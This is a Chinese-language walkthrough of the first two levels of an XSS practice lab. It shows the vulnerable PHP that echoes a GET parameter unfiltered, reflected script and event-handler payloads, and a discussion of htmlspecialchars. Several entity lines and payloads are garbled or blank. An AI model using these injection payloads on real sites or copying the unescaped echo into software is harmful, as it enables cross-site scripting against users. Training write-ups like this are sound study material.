Level 1
http://web-labs.rinue.top/xss-labs/level1.php?name=test
更改参数name 的值,下面显示的也跟着发生改变;
尝试:
http://web-labs.rinue.top/xss-labs/level1.php?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E
成功;
<?phpini_set ("display_errors", 0);$str = $_GET["name"];echo "
欢迎用户".$str."";?>
![level1.png](level1.png)
<?phpecho "
payload的长度:".strlen($str)."";?>
将用户以GET方式提交的参数name,不加过滤的地显示在页面中,所以将弹框语句放入name变量中即可:
Level2
看似是一个搜索框,但是,每次都把搜索的内容回显到页面上;但尝试对加上脚本语句,没有执行;直接回显;
查看源码;
没有找到和<img src="#" οnerrοr=alert("xss")>相关的结果.
没有找到和
相关的结果.
而我们的正确的特殊符号竟然变成了HTML的特殊符号代码;
<
<
>
>
"
"
尝试:
%3Cimg src=%27#%27 οnerrοr=alert(%27xss%27)%3E 失败
经过了各种编码,没成功
源码:
<?phpini_set ("display_errors", 0);$str = $_GET["keyword"];echo "
没有找到和".htmlspecialchars($str)."相关的结果.".‘
![level2.png](level2.png)
果然转换为了HTML特殊字符;
htmlspecialchar()
htmlspecialchars — 将特殊字符转换为 HTML 实体
字符替换后
& (& 符号)
&
" (双引号)
",除非设置了 ENT_NOQUOTES
‘ (单引号)
设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
<
> (大于)
>
例子:
<?php $new = htmlspecialchars("Test",ENT_QUOTES);echo $new; //<a href='test'>Test</a>
?>
<?php $str="
显示:
<script>alert(‘123‘)</script>
<?php $str="
显示:
前者在html中不显示弹窗;
而后者,则是被当成了脚本语句;
回到本题上来。
在返回的HTML页面的第一处使用了htmlspecialchars,而第二处没有使用,且两处都没有过滤机制。所以我们在第二处闭合标签;
">
">
">
">
另一种方法:
xss
">
">οnclick=alert() //
onclick 属性不适用以下元素:、、
、、、、、、